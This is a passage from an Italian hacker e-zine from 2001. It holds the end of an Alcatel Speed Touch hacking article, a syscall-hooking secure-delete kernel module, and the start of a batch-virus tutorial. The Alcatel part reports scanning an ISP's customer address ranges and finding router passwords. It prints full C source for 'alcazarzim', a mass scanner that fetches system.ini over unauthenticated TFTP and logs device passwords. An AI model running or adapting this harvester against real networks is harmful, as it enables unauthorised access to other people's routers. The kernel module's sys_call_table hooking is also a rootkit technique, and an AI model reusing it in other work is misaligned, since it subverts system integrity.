fatto questo probabilmente perche' c'e' bisogno di accedere manualmente alla EEPROM, a livello di magazzino, per identificare i pezzi guasti o da riparare. Dunque oltre che a funzioni di 'inventory' la nostra SEEPROM viene letta al boot dal software che in base ai dati ottenuti abilita o disabilita particolari funzioni e comandi. Perche' interfacciarci direttamente a questo chip se abbiamo l'accesso via software sotto il menu RIP e conosciamo anche il comando nascosto per scriverci sopra (drv_write)? Beh almeno in un caso puo' essere utile: invece dei byte giusti di cui abbiamo parlato sopra, avete scritto sulla SEEPROM la data di nascita della vostra fidanzata.. in questo caso il vostro modem/router sara' MORTO. Completamente MORTO. Questo e' esattamente quello che e' successo a noi ;) e quindi adesso vi spieghiamo come abbiamo fatto a recuperare un ormai inutile pezzo di ferro e plastica (peraltro un po' bruttino). Ecco lo schema dei collegamenti riportati dal 93C66 al nostro bel connettore azzurro 3M: 11 20 -------------------------------- | o x x o o x o o o o | | x x x o o o o o o o | --^---------- ------------- 1 10 i pin che ci interessano sono quelli con le 'x': 1 - SEEPROM 3V3 2 - SEEPROM Serial Clock 3 - SEEPROM Chip Select 12 - SEEPROM Data Output 13 - SEEPROM Data Input 16 - Ground Facendo un po' di ricerche su questo integrato abbiamo trovato un tizio (che ringraziamo vivamente) [http://obiwan.hvrlab.org/~faz/prommer/] e che di nome fa Ackermann ;) che spiega come riparare dei monitor (e' solo quello il suo intento!) e come interfacciarsi direttamente ad alcuni integrati tra cui uno della stessa famiglia di quello presente sull'alcatel. Comunque Ackermann ringrazia per le info avute sul chip un certo Roberto Dario from Italy (un po' di orgoglio nazionale non guasta). Il sito e' completo di software per dos pero' con sorgenti, ed adattando un po' il tutto alla nostra situazione, siamo riusciti nel nostro scopo. Allora, per riuscire a leggere e scrivere da questa SEEPROM abbiamo bisogno prima di tutto di alimentarla (il modem/router rimarra' spento!) quindi c'e' bisogno di un alimentatore da 3V3 LVTTL. Non vi preoccupate, potete fare come noi, con un vecchio alimentatore AT, prendendo i suoi +5V che vanno bene lo stesso, ma se siete pignoli e/o paranoici come noi, inserite anche qualche resistenza per ottenere 3V3. Lo schema di collegamento e' questo: 1 - SEEPROM 3V3 ---> Alimentatore +3V3 (vanno bene anche 5V) 2 - SEEPROM Serial Clock ---> Parallel Port Pin 3 3 - SEEPROM Chip Select ---> Parallel Port Pin 2 12 - SEEPROM Data Output ---> Parallel Port Pin 12 13 - SEEPROM Data Input ---> Parallel Port Pin 4 16 - Ground ---> Parallel Port Pin dal 18 al 25 + Ground Alimentatore Queste sono le prime word del contenuto della EEPROM scaricata via connettore blu. 00000000 2D 2D D8 24 00 86 33 45 43 31 38 36 30 34 42 43 41 41 30 33 20 20 20 20 31 20 30 30 --.$..3EC18604BCAA03 1 00 ^^^^^ ---> questo e' il valore da modificare 0000001C 31 30 38 34 30 33 36 20 20 20 20 20 30 20 30 30 30 33 32 38 20 20 20 20 2D 20 2D 2D 1084036 0 000328 - -- - COSA DICE L'ALCATEL http://www.alcatel.com/consumer/dsl/security.htm Created: April 10, 2001 Table of content ALCATEL SPEED TOUCH ADSL MODEM SECURITY INFORMATION GENERAL SECURITY CONSIDERATIONS FOR BROADBAND REMOTE ACCESS SERVICE SPECIFIC RECOMMENDATIONS ON THIS ADVISORY ALCATEL SPEED TOUCH ADSL MODEM SECURITY INFORMATION There have been some discussions in the press regarding security of Alcatel DSL modems and the security of DSL services in general. The major vulnerability referred to in the advisory (VU#211736 - Alcatel ADSL modems grant unauthenticated TFTP access via Bounce Attacks), does not apply to mainstream Operating Systems used by residential and small business subscribers (e.g. Windows 95, 98, 98se, ME, and typical installations of NT4.0 Workstation, 2000 Professional and the latest commercial releases of Linux). On Microsoft Windows Operating Systems, the "echo" service exploited to bounce TFTP traffic to the modem, is either not available as part of the OS (Windows 95, 98,98se, ME), or is not installed in a "typical" installation (NT4.0 Workstation and 2000 Professional). It should be noted, however, that without a firewall, any PC in any configuration (home PC or in a LAN) is open for attacks by hackers, that can alter software, install viruses, spy information, etc. Especially PCs connected to the Internet through 'always on' Cable or DSL services should be protected through firewalls. Therefore Alcatel highly recommends the use of firewalls as a general practice for 'always-on' connections. Additionally, Alcatel has started an initiative to qualify firewall software that will provide users with the highest possible degree of security. Alcatel will publish and update lists of recommended firewalls on its website in the near future. The firewall recommendation is especially relevant for server applications, where a generic vulnerability for FTP-bounce may be present, as described in CA-1997-27. One should in any case be aware of the fact that firewalls also continuously evolve to mitigate the subsequent security issues as they arise in the security experts community. Hence, the deployment of firewalls also inherently presumes an attitude towards the implementations of regular updates just as for anti-virus software. GENERAL SECURITY CONSIDERATIONS FOR BROADBAND REMOTE ACCESS SERVICE Security in Modems and Networks In any network there are two main types of security: network security and user security (more specifically, user content security). Wide Area Network (WAN) is concerned with protecting a network from malicious usage. Security at the Customer Premise Equipment (CPE) level is less available - unlike all other network levels -, since this equipment is not directly controlled by a Network Operator or an ISP. This is true for any type of CPE, including telephones, modems (analogue, DSL or cable) and fax machines. For a Network Operator's, ISP's or private network security can only be guaranteed at the network level. In other words, a network should stay operational at all times. Such type of security is already provided by Alcatel, built in its DSLAM (operated by the service provider). User security is concerned with protecting the content and local area network of an end-user. This type of security has to be implemented on Local Area Network (LAN) or PC level at the customer premises. This is standard practice for any network connection (i.e. leased lines, cable modem, DSL). Generally such modems provide connectivity to the network and not security. User content security can be reinforced at the LAN level by installing a dedicated firewall software and/or hardware, either on the server or on the PC, or by installing a dedicated firewall device. Alcatel also provides DSL modems which have firewall security. User content and LAN security is the responsibility of the user. There are many software and hardware products on the market to ensure security, including Alcatel products. Modem security Alcatel's modems are designed to allow users to alter the firmware. This is a standard feature built into some of the Speed Touch modems to allow local or - in case of the Speed Touch Pro - remote software upgrades. Access from the LAN interface (i.e. local access) into the modem does not constitute a security problem, since the modem normally belongs to the person who is using it. (For this reason no remote access is possible on the Speed Touch Home). On the Speed Touch Pro, a protection mechanism feature is implemented to ensure that nobody can gain remote access to the modem (or via the WAN/DSL interface). This mechanism guarantees that nobody from outside can access the modem and change modem settings. Alcatel ships all modems with the protection activated. However, it's easy for a modem owner to deactivate the protection (the procedure for activating this protection mechanism is described below). This protection can be switched off locally by the modem owner, in case the service provider wants to do upgrades or do remote management. The service provider normally manages this process, and the service provider explains to the end-user how to deactivate the protection and how to re-activate it again. SPECIFIC RECOMMENDATIONS ON THIS ADVISORY This Advisory applies to Speed Touch Home up to Rel. 3.2.5, Speed Touch Pro up to Rel 3.2.5 and Alcatel 1000 ANT Rel 3.1. Advisory Statement Alcatel ADSL modems grant unauthenticated TFTP access via User Datagram Protocol (UDP) bounce. Alcatel ADSL modems allow unauthenticated Trivial File Transfer Protocol (TFTP) access from the local area network (LAN) as a method for updating firmware and making configuration changes to the device. In conjunction with a common vulnerability, a remote attacker may be able to gain unauthenticated access as well. Alcatel's answer Correct. TFTP together with FTP are protocols that are used in the modem to upgrade the system software (firmware). This gives the capability to the user to benefit from new features at all times. This upgrade is done from the LAN network (or the user port) that can only be accessed by the modem user/owner. However, this is an action that is not allowed from the WAN interface by external users. Speed Touch Home modems (typically in bridged configuration) with no embedded firewall and used for LAN interconnect, give transparent access to the LAN. If this is used for connection to the Internet, additional measures have to be taken, since outside intruders can access the LAN and access the modem via a bouncing mechanism. Explanation on how to use the modem correctly and to alleviate this issue is described in the chapter: Measures for Speed Touch Home modems. In any case one should note that the vast majority of operating systems used in residential or small business applications do not exhibit this security vulnerability (cf. non-exhaustive list above). Advisory Statement Alcatel ADSL modems provide EXPERT administrative account with an easily reversible encrypted password. Alcatel ADSL modems contain a special account (EXPERT) for gaining privileged access to the device. This account is secured via a challenge-response password authentication mechanism. While the use of such a mechanism is commendable, the algorithm used is not sufficiently strong. Attackers with knowledge of the algorithm used to compute the response are able to compute the correct response given information visible during the login process. Alcatel's answer This is correct. Alcatel provides expert level access for technical support and maintenance activities by service personnel. To avoid that the user accidentally enters this mode, this mode is not documented in the manual and is password protected. As such, the password is not intended to protect against intrusion of malicious users. The Speed Touch Pro offers another feature, called "system protection", providing this security. The system protection disables the capability of remotely (this is via a wide area network) accessing this expert level, which could be used by outside attackers. Advisory Statement Alcatel ADSL modems contain a null default password The Alcatel Speed Touch ADSL modem ships with a null default password, permitting unauthenticated access via TELNET, HTTP, and FTP. As with the EXPERT account vulnerability, the device must have an externally accessible IP address. Alcatel's answer This is correct, there is no default password. During the installation, the user can configure the parameters, and protect this with it's own password. This is a standard prctice. The same "system protection" offers additional security against malicious users, which are entering from the WAN side and are not owner of the modem. The same "system protection" guarantees this security. See below "Specific Measures for Speed Touch Home users". Advisory Statement Alcatel ADSL modems provide unauthenticated TFTP access via physical access to the WAN interface to allow your ISP to upgrade the firmware of the ADSL modem remotely, unauthenticated TFTP access is provided to users with physical access to the wire on the WAN side of the modem. While this access is normally used legitimately by your ISP, an attacker could also abuse it with physical access to the wire outside of your home or at a local access point. Alcatel's answer Correct. This is true for all communication in general, e.g. voice traffic, leased line data traffic. Physical wire access to a public network by third parties is considered as crime. However, in cases where a high degree of security is required, specialized encryptions methods are used such as IPSec are typically. This is a practice used by banks, insurance company's etc. and is recommended whatever the data network is that is used for highly sensitive information. What, if anything, can service providers do to guard against this problem in their network? What can consumers do to guard against the problem? All modems that are shipped by Alcatel are by default "system protected", and this is the recommended default operation. As a result, in the majority of the cases, there is no real problem. In general, it is strongly advised that end-users do not alter this default setting. However, in certain cases where the service provider manages the modem (as a managed service) with the Speed Touch Pro, the "system protection" is disabled to be able to manage the modem remotely. See below "Specific Measures for Speed Touch Pro modems" for more info. Specific Measures for Speed Touch Home modems Speed Touch Home modems in bridged mode provide transparent access to the LAN (e.g. homeworking, branch office). When the LAN is connected to the Internet, it is standard practice to provide additional security measures to shield the LAN environment from general accessibility from the Internet. Possible measures are: 1) For single PC connections or small home networks, it is recommended to disable the ECHO service on the Operating system, or to install a quality firewall software on hosts. 2) For more advanced networks, a dedicated firewall is recommended, or equivalently, make use of Speed Touch Pro with Firewall. 3) Alternatively, the service provider can provide the protection in the network. The routers or broadband remote access servers can be configured to drop all packets with broadcast source address, which are considered illegal according to RFC1812. Specific Measures for Speed Touch Pro modems As explained before, in some cases the "system protection" is disabled when service providers offer a managed service. In those cases the user could enable the "system protection" on the Speed Touch Pro modem. However, we do not recommend this without consulting the service provider. Typically, in managed service, the modem is property of the service provider and should allow configuration by the service provider. In the case of a managed service, the service provider provides security at network level by configuring the broadband remote access server to only allow the management server of the service provider to communicate with the management interface of the modems. If you need to verify or alter the configuration of the system protection, proceed as described below: Configuring the security of your Alcatel Speed Touch Pro modem: Setup a telnet connection to your modem. Telnet address is 10.0.0.138 Consult your Operation System manual on how to setup a telnet connection. Type "Enter" at the User Name prompt Wait for the next prompt and then type the following: => ip config The information on you firmware protection feature is given in the second line of the response If it is "ON", your modem has the security features activated and you have nothing to worry about. If it is "OFF", you are vulnerable to the attacks. You can adjust the security settings as follows: => ip config firewalling on => config save Now you are safe again! Updated: April 18, 2001 Back to the top Alcatel Statement Regarding SPEED TOUCH Modification Alcatel is aware that instructions have been posted on the Internet that purport to show how to upgrade the Alcatel Speed Touch Home ADSL modem to perform like a Speed Touch Pro model. While both products are based on the same platform, they are not identical and utilize different hardware that delivers different levels of functionality. Speed Touch Home is an ADSL modem with a bridging functionality, while Speed Touch Pro is an ADSL modem with router functionality. Alcatel offers no assurance to users that tampering with these products in the manner described will make them function identically or perform as intended. Furthermore, users should be aware that any use of the individual products beyond that described in the user manuals may damage the product, void the warranty and possibly violate service provider contracts, Alcatel licensing rights and infringe intellectual property rights owned by Alcatel. Alcatel Statement Regarding SPEED TOUCH Modification Q & A 1. Are you aware that a self-professed computer hacker (sarei io :) has posted instructions on his web homepage on how to upgrade the Alcatel Speed Touch Home to perform like Speed Touch Pro? Yes. Is the claim accurate? Not to the best of our knowledge. While both products are based on the same platform, they are not identical. We cannot provide any assurance that the hacker's instructions are correct, or that the products can be made to work identically. 2. How do the features of Speed Touch Home differ from those of Speed Touch Pro? Speed Touch Home is an ADSL modem with bridging functionality, while Speed Touch Pro is an ADSL modem with router functionality. What this means is that with ST Pro, you can establish multiple sessions from the same PC using one IP address, while, with ST Home, you would need multiple IP addresses to do this. From a hardware point of view, the ST Pro has a serial interface while the ST Home does not. 3. Does ST Pro support higher line (data transmission) rates than ST Home? No. 4. If they are functionally the same, why are these products priced differently? These products are not functionally the same and they are priced differently because they provide different levels of functionality. 5.a. Is there a set charge for upgrading from ST Home to ST Pro? No. Currently, we are not offering an upgrade of this kind. 5.b. Will this upgrade be provided in the future? We are willing to investigate such a possibility, but do not provide this service at this time. 6. Can do-it-yourself'ers cause damage to the product? Void the warranty? Yes. If they are using the product in ways not described in the user manual, or making unauthorized changes to the product, they could damage the product and void the warranty. adnt-unpack.c 7. What is the potential financial impact of the leaking of this information? We don't expect our users to use the product beyond the current specification, so we don't anticipate any significant impact. 8. Is Alcatel aware of how many current users have made this upgrade themselves? No. 9. Are there any competitive products/technologies on the market that can be upgraded in a similar manner? It is certainly a common industry practice to use a common platform for different products that can be software upgradable as authorized by the manufacturer. 10. What legal issues/repercussions might be anticipated? Any usage beyond that described in the user manual could damage the product, void the warranty and violate ISP service contracts. Alla fine di questa lettura, ci sorge qualche domanda da rivolgere direttamente ai signori della Alcatel: 1) perche' esiste una modalita' EXPERT su un router di MIA proprieta' e io NON NE SONO A CONOSCENZA e, cosa ancora peggiore, non e' documentata la sua funzionalita' sul manuale? 2) perche' nel nuovo firmware la modalita' EXPERT risulta come una normale modalita' di debug con tanto di Disclaimer? 3) perche' anche con [ip config firewalling on] chi ha accesso al mio DSLAM puo' upgradare il mio firmware senza che io posso impedirlo in nessun modo utilizzando il protocollo AAL5? 4) perche' se le indicazioni del 'self-professed computer hacker' (ahahahah) sono imprecise e pericolose state valutando la possibilita' di offrire VOI il servizio di upgrade? (dopo questo articolo speriamo di essere stati piu' precisi :) 5) perche' affermate che e' normale che ci sia questa politica di larga scala nei prodotti informatici e poi invece ci dite che i due prodotti sono molto diversi? 6) perche' se tutto cio' non e' pericoloso o dannoso per l'utente, il nuovo firmware non ha il tftp senza autenticazione, non ha piu' la backdoor EXPERT e altre cosine 'non dannose'? - UN PO DI STATISTICHE Abbiamo voluto fare un po' di 'statistiche' per renderci conto della situazione attuale in Italia. Abbiamo controllato gli IP di alcune classi note, di un noto provider italiano che fornisce in comodato gli STP. Per comodita' sono stati controllati quindi TUTTI gli IP non solo quelli con router sicuramente connessi e il risultato e' questo: IP scanned - 7383 - 100,00% host trovati - 539 - 7,30% host chiusi in tftp ma raggiungibili - 319 - 4,32% host con pw trovate - 163 - 2,21% host con pw blank - 57 - 0,77% Prima del rilascio del nuovo firmware i 319 router erano anch'essi vulnerabili. - TOOLS Inseriamo all'interno di questo articolo un semplice tool scritto da noxious, che puo' rivelarsi utile per verificare la vulnerabilita' del vostro router da internet o per attivita' di vulnerability assessment concordate con gli eventuali gestori delle reti. L'utilizzo al di fuori della legalita' di questo tool non e' nell'intento dell'autore. L'autore declina ogni responsabilita' sull'uso illecito di questo software. Il software non fa altro che controllare se il router e' raggiungibile, dunque scarica il file 'system.ini' via tftp e salva in un altro file le password trovate. <-| alcazarzim.c |-> /* alcazarzim by noxious */ #include #include #include #include #include #include #include #include #include #include #include #define BUFFER_SIZE 516 struct sockaddr sa; struct sockaddr *from; struct sockaddr_in *p; int len; int fd; int sent,recvd; unsigned long start_ip, end_ip, count; char pass[32]; char str[10]; FILE *logfile; struct timeval minutetimeout; int TIMEOUT; int i, found; int numhost=0, numfound=0; double per; u_char data2recv[BUFFER_SIZE]; u_char data2sent[26]={ 0x00, 0x01, 'a', 'c', 't', 'i', 'v', 'e', '/', 's', 'y', 's', 't', 'e', 'm', '.', 'i', 'n', 'i', 0x00, 'o', 'c', 't', 'e', 't', 0x00 }; // pacchetto predefinito di tftp RRQ // funzioni di timeout per il check della telnet e del tftp // potrebbero essere accorpate, ma non sono sicuro se close() // sia la cosa migliore nel caso non si usi connect() void func_alarm_tftp (int s) { close(fd); return; } void func_alarm_telnet (int s) { close(fd); return; } // funzione predefinita di intercettazione dei segnali di kill & co void exitnow () { close(fd); numhost=count-ntohl(start_ip); per=(double)(((double)numfound/(double)numhost)*100); fprintf(logfile,"\n statistics.. (mmh.. interrupted by user)"); fprintf(logfile,"\n host scanned: %d", numhost); fprintf(logfile,"\n found : %d", numfound); fprintf(logfile,"\n percentage : %0.3f\%%", per); fprintf(logfile,"\n\n------------------------------------------------------------\n"); fclose(logfile); printf("\n\nscan completed (interrupted by user)."); printf("\n\nauthor: noxious@olografix.org - thank you for using. byez.\n\n"); exit(2); } // funzione di check della porta 23. // tenta semplicemente una connect() che allo scadere del timeout // viene chiusa con close() (vedi sopra) int checktelnet (unsigned long ip) { p=(struct sockaddr_in*)&sa; p->sin_family=AF_INET; p->sin_port=htons(23); p->sin_addr.s_addr= htonl(ip); minutetimeout.tv_sec = TIMEOUT; minutetimeout.tv_usec = 0; fd = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP); signal(SIGALRM,func_alarm_telnet); alarm(TIMEOUT); if (connect (fd, (struct sockaddr *) &sa, sizeof(sa))) { alarm(0); signal(SIGALRM,SIG_DFL); return (-1); // caso del timeout } alarm(0); signal(SIGALRM,SIG_DFL); close(fd); return (0); // caso di porta aperta } // questa funzione spedisce un RRQ direttamente sulla porta 69 dell' host. // NON implementa tutto il protocollo tftp. una volta ricevuto il primo // pacchetto (max 512 byte del file), non invia i previsti ack (a noi // non serve tutto il file) int checktftp (unsigned long ip) { p=(struct sockaddr_in*)&sa; p->sin_family=AF_INET; p->sin_port=htons(69); p->sin_addr.s_addr= htonl(ip); minutetimeout.tv_sec = TIMEOUT; minutetimeout.tv_usec = 0; bzero (data2recv, sizeof (data2recv)); fd=socket(AF_INET,SOCK_DGRAM,0); sent=sendto(fd,&data2sent,26,0,(struct sockaddr*)p,sizeof(struct sockaddr)); // data2sent e' definito sopra signal(SIGALRM, func_alarm_tftp); alarm(TIMEOUT); if (recvfrom(fd,data2recv,BUFFER_SIZE,0,from,&len)<=0) { alarm(0); signal(SIGALRM,SIG_DFL); bzero (data2recv, sizeof (data2recv)); return(-1); // caso del timeout // telnet aperta e tftp chiuso.. e' un alcatel? // verificare e in caso positivo usare l'EXPERT mode } alarm(0); signal(SIGALRM,SIG_DFL); if (data2recv[1]==5) { return(2); // tftp aperto ma file non esistente (ERR=5) } if (data2recv[1]==3) { printf("tftp open..parsing file.."); bzero (pass, sizeof (pass)); if (data2recv[4]!='s') { return(1); // file vuoto, password blank } else { for (i=0; i<32; i++) { pass[i]=data2recv[i+16]; } return(0); // (lo so, lo so, un memcpy no? :) } } return(0); } void usage (char *cmd) { printf("\n.: AlcaZarzim 1.0 :.\n"); printf("\nusage: %s \n\n", cmd); exit(1); } int main(int argc, char *argv[]) { struct in_addr host; if (argc!=5) { usage(argv[0]); } else { start_ip=inet_addr(argv[1]); end_ip=inet_addr(argv[2]); TIMEOUT = atoi(argv[3]); } signal(SIGINT, exitnow); signal(SIGTERM, exitnow); signal(SIGKILL, exitnow); signal(SIGQUIT, exitnow); printf ("\n.: AlcaZarzim 1.0 :.\n"); printf ("\nby [noxious] - ALL illegal and/or unhautorized use are prohibited!\n"); printf ("\nopening file %s..", argv[4]); if ((logfile=fopen(argv[4], "a+"))) { printf ("ok.\n"); } else { printf ("error.\n"); fclose(logfile); exit(3); } fprintf (logfile,"\n.: AlcaZarzim 1.0 - log file :.\n"); fprintf (logfile,"\n start ip = %s", argv[1]); fprintf (logfile,"\n end ip = %s", argv[2]); fprintf (logfile,"\n timeout = %s sec.\n", argv[3]); fprintf (logfile,"\n [device ip]\t\t[password]\n\n"); // main loop for (count=ntohl(start_ip); count<=ntohl(end_ip); count++) { host.s_addr=ntohl(count); printf("\nhost %s..", inet_ntoa(host)); fflush(stdout); if (checktelnet(count)==0) { found=checktftp(count); if (found==0) { printf ("password found!"); fprintf(logfile, " %s\t\t%s", inet_ntoa(host), pass); numfound++; } if (found==1) { printf ("blank password?"); fprintf(logfile, " %s\t\tblank password?\n", inet_ntoa(host)); numfound++; } if (found==2) { printf ("tftp open..error download (patched firmware?)"); fprintf(logfile, " %s\t\terror (patched?)\n", inet_ntoa(host)); } if (found==-1) { printf ("tftp closed (alcatel? use EXPERT)."); fprintf(logfile, " %s\t\ttftp closed (alcatel? use EXPERT)\n", inet_ntoa(host)); numfound++; } } else { printf ("telnet closed."); // telnet chiusa, checktftp() inutile } } numhost=count-ntohl(start_ip); per=(double)(((double)numfound/(double)numhost)*100); fprintf(logfile,"\n statistics.."); fprintf(logfile,"\n host scanned: %d", numhost); fprintf(logfile,"\n found : %d", numfound); fprintf(logfile,"\n percentage : %0.3f\%%", per); fprintf(logfile,"\n\n------------------------------------------------------------\n"); fclose (logfile); printf("\n\nstatistics.."); printf("\nhost scanned: %d", numhost); printf("\nfound : %d", numfound); printf("\npercentage : %0.3f\%%", per); printf("\n\nscan completed."); printf("\n\nauthor: noxious@olografix.org - thank you for using. byez.\n\n"); return(0); } <-X-> Questo e' tutto. Speriamo di non avervi annoiato. Ciao a tutti. - CREDITS Marcellino per aver avuto un'ottima intuizione :) Umby per l'aiuto sull'interfaccia seriale Rubik per la "precisione" e il "supporto" Franko21 per le statistiche e molte idee Pivy per averci prestato uno STH Andrea Monti per la "tutela" :) Chipit per le "preziosissime" dritte sul RIP smaster di BFi per la pazienza ! La Metro Olografix tutta. Appena abbiamo 10 minuti liberi aggiorniamo www.spaghettihacker.it con le foto delle interfacce e tutti i dettagli. ============================================================================== --------------------------------[ EOF 14/18 ]--------------------------------- ============================================================================== BFi-10/BFi10-150100644000175000017500000001603407355704712012640 0ustar smastersmaster============================================================================== -----------[ BFi numero 10, anno 4 - 30/09/2001 - file 15 di 18 ]------------- ============================================================================== -[ REVERSING ]---------------------------------------------------------------- ---[ 0K - 0 KELViN -----[ syscalo L'idea: Pensando ad una possibile applicazione dell'algoritmo di generazione di chiavi pseudo casuali presentato nel numero 9 di BFI, ricavato dal reversing del programma keygen, ho ritenuto sensato usare la chiave per crittare file. Riflettendo meglio ho per valutato che la crittazione, implementata in modo che fosse reversibile, non sarebbe stata molto (per niente?) sicura, a meno di implementare algoritmi studiati e ristudiati... ma allora cosa me ne faccio della chiave del keygen 8-? Allora ho pensato un po' a dove potesse essere utile l'implementazione di una crittazione senza ritorno, ma a parte password & co. per cui esistono gi funzioni di crittazione note non ho avuto altre intuizioni :-/ Alla fine l'idea arrivata: usare la chiave pseudo casuale per crittare i file in modo unidirezionale, prima di cancellarli, scrivendo un programma che si occupi di tutto, in sostanza un surrogato di rm con crittazione unidirezionale inclusa. La riflessione: Sviluppata mentre stavo gi scrivendo il programma surrogato di rm. In fin dei conti quello che ci interessa perdere l'informazione contenuta nel file in modo che non sia pi recuperabile, quindi sfruttiamo l'idea pi semplice possibile: prima di rimuovere il file sostituiamo il suo contenuto con byte 0. Ho subito abbandonato l'idea di effettuare la crittazione e ho implementato il programma con la sostituzione di zeri. L'abbandono stato fatto senza troppi ripensamenti perch, come vedrete dal programma, per effettuare la crittazione si tratta di sostituire la funzione zero_it. Analisi delle problematiche: Azzeriamo il contenuto e poi cancelliamo; ok, ma in linux (anche in altri os, lo so;-p) tutto visto come file, ma sono tipi di file ben differenti! Quindi la prima condizione che dobbiamo verificare che il file da rimuovere sia un file regolare. Problema 2: in linux esistono gli hard link! Azzerare il contenuto di un file senza tenere conto di questa situazione vuol dire ritrovarsi con tanti file contenenti zeri, senza nemmeno accorgersene. Quindi effettueremo la sostituzione degli zeri solo se il numero di hard link corrispondenti al file 1, altrimenti ci limiteremo a rimuovere l'hard link. Parlando di hard link, vengono in mente i link simbolici, ma di questi non dobbiamo preoccuparci ;-) L'implementazione: <-| zero-rm.c |-> /* * zero-rm.c * Compilazione : gcc -o zero-rm -O2 zero-rm.c && strip --strip-all zero-rm * * syscalo */ #include #include #include void zero_it(char *, int); void zero_it(char *file, int size) { int i, fd; int buf[4096]; fd = open(file, O_WRONLY); /* azzeriamo a blocchi di 4096 byte */ for(i = 0; i <= size/4096; i++) write(fd, buf, 4096); close(fd); } int main(int argc, char *argv[]) { struct stat statbuf; /* se ci sono errori avvisiamo e terminiamo */ if(0 != stat(argv[1], &statbuf)) { fprintf(stderr, "%s: error occurred on stat\n", argv[0]); exit(-1); } /* se non e' un file regolare avvisiamo e terminiamo */ if(!S_ISREG(statbuf.st_mode)) { fprintf(stderr, "%s: cannot zeroing a non regular file\n", argv[0]); exit(-1); } /* * se il numero di hard link e' maggiore di 1 avvisiamo * e rimuoviamo il file senza azzerare */ if(statbuf.st_nlink > 1) { fprintf(stdout, "%s: removing (hard) link without zeroing it\n", argv[0]); if(0 != unlink(argv[1])) { fprintf(stderr, "%s: cannot remove file %s\n", argv[0], argv[1]); exit(-1); } exit(0); } /* azzera il file */ zero_it(argv[1], statbuf.st_size); /* rimuove il file */ if(0 != unlink(argv[1])) { fprintf(stderr, "%s: Cannot remove file %s\n", argv[0], argv[1]); exit(-1); } } <-X-> Il programma scritto in modo `prolisso' per mantenere tutte le condizioni ben separate, ma sono sicuro che sapete come renderlo pi C-style. Le osservazioni: Non sostituite questo programma al programma rm, per 2 motivi: 1- non sono supportate le opzioni di rm 2- applicato questo programma non avete modo di recuperare i dati L'implementazione seria: Solo per i pi temerari ;-) Il programma presentato, funziona, bello =), ma a mio avviso scomodo! E poi non abbiamo smanettato abbastanza ;-p Quindi ecco l'implementazione come modulo del kernel, per rendere definitiva la nostra scelta! <-| 0K.c |-> /* * 0K : 0 Kelvin * Compilazione: gcc -c -O2 -fomit-frame-pointer 0K.c * Installazione: insmod 0K.o * Rimozione: rmmod 0K * * syscalo */ #define MODULE #define __KERNEL__ #define MYNAME "0K" /* il nome del modulo ;-p */ #define HACK_FS(value) value = get_fs(); set_fs(get_ds()) #define RESTORE_FS(value) set_fs(value) #include #include #include #include #include #include /* includere per get_fs, set_fs, get_ds */ extern void *sys_call_table[]; /* syscall sostituita */ int (*hooked_unlink)(const char *); /* syscall usate */ int (*_open)(const char *, int); int (*_close)(int); int (*_stat)(const char *, struct stat *); int (*_write)(int, const char *, int); int zero_unlink(const char *pathname) { struct stat statbuf; int fd, i; char zero='\0'; mm_segment_t fs_value; /* usata da HACK_FS e RESTORE_FS */ HACK_FS(fs_value); if(0 == _stat(pathname, &statbuf)) { if(S_ISREG(statbuf.st_mode) && (1 == statbuf.st_nlink)) { if((fd = _open(pathname, O_WRONLY)) >= 0) { printk(KERN_INFO "%s : zeroing file %s\n", MYNAME, pathname); for(i = 0; i < statbuf.st_size; i++) _write(fd, &zero, 1); _close(fd); } } } RESTORE_FS(fs_value); return hooked_unlink(pathname); } int init_module() { _open = sys_call_table[SYS_open]; _close = sys_call_table[SYS_close]; _stat = sys_call_table[SYS_stat]; _write = sys_call_table[SYS_write]; hooked_unlink = sys_call_table[SYS_unlink]; sys_call_table[SYS_unlink] = zero_unlink; printk(KERN_INFO "%s loaded\n", MYNAME); return 0; } void cleanup_module() { sys_call_table[SYS_unlink] = hooked_unlink; printk(KERN_INFO "%s removed\n", MYNAME); } <-X-> That's all! Saluti e...: A tutto lo staff del s0ftpj, in particolare a blinking che gli torni la voglia di fare qualcosa ;-p hihihi E per risparmiare byte, tutti quelli che conosco; Ritz sei il primo della lista, quindi mi spetta una birra quando ci vediamo ;-) ... un po' di diffusione di informazione: Per chi interessato ad un po' di reversing e al coding in assembly in linux... http://racl.oltrelinux.com bye to all `,`,`, syscalo ============================================================================== --------------------------------[ EOF 15/18 ]--------------------------------- ============================================================================== BFi-10/BFi10-160100644000175000017500000005517207355704712012647 0ustar smastersmaster ============================================================================== -----------[ BFi numero 10, anno 4 - 30/09/2001 - file 16 di 18 ]------------- ============================================================================== -[ ViRii ]-------------------------------------------------------------------- ---[ BATViRUS, iL ViRUS Di BATMAN ? -----[ sKIZoidE Titolozzo: BATvirus, il virus di BATMAN? Autore: sKIZoidE (io 8-/) Piattaforma: Finestre95/98/Me NT/2000 Temperatura: nun zo', faccaldo! Consumo: Un the' caldo della fottuta makkinetta del caffe' della mia ditta e alla faccia del caldo che fa adesso ;) Livello: Intermedio (leggi: mi PIACEREBBE che fosse ALMENO intermedio in realta' il livello e': 'Superbanalone' :)) Dediche: . a una ragazza che non lo sapra' mai . alla Mo, un'altra ragazza che non lo sapra' mai :-* . all'inventore di dos/windows/nt/2000: ma va@f'a@*ul# . a chi NON PUO' formattare il suo hd con win per poterci installare linux/*bsd IDEA ---- Mo veniamo a noi. L'idea mi e' venuta spizzicando qua e la' nel sorgente del virus Wm/W32.Cocaine di Vecna (xine-4): Un batch virus PURO? E' possibile? Chiunque di voi abbia dovuto utilizzare il vecchio MS-DOS o debba ancor oggi automatizzare Willoz utilizzando i ricchissimi strumenti che mamma (maiala) Microcefalox mette a disposizione, si sara' sicuramente scontrato con i files batch. Cosa sono i files batch? Sono mini(micro)-script per ambiente ms-dos/win che permettono di eseguire una serie di comandi e forniscono una scarna (ed e' un eufemismo!) serie di istruzioni interne per permettere un minimo di controllo di flusso. I **nixiani si dimentichino dei loro potentissimi shell-scripts! Qui si parla di Willoz: tutto e' atrocemente piu' ostico, qui! In breve, i comando interni che e' possibile utilizzare, sono: ECHO [ON | OFF] | messaggio visualizza un messaggio SET [variabile=stringa] imposta una variabile IF [NOT] ERRORLEVEL numero comando test sullo stato ritornato dall'ultimo programma eseguito stringa1==stringa2 test sul confronto di stringhe EXIST test sull'esistenza di un file GOTO etichetta Passa l'esecuzione a 'etichetta' PATH percorso1;percorso2;.. Setta il path di ricerca dei comandi FOR %var IN (gruppo) DO comando esegue un comando su un gruppo di files @ NON visualizza il comando lanciato comando < | > | >> file | NUL redirige l'input o l'output di un comando da / su un file o su NUL REM | :: Commenti %variabile% 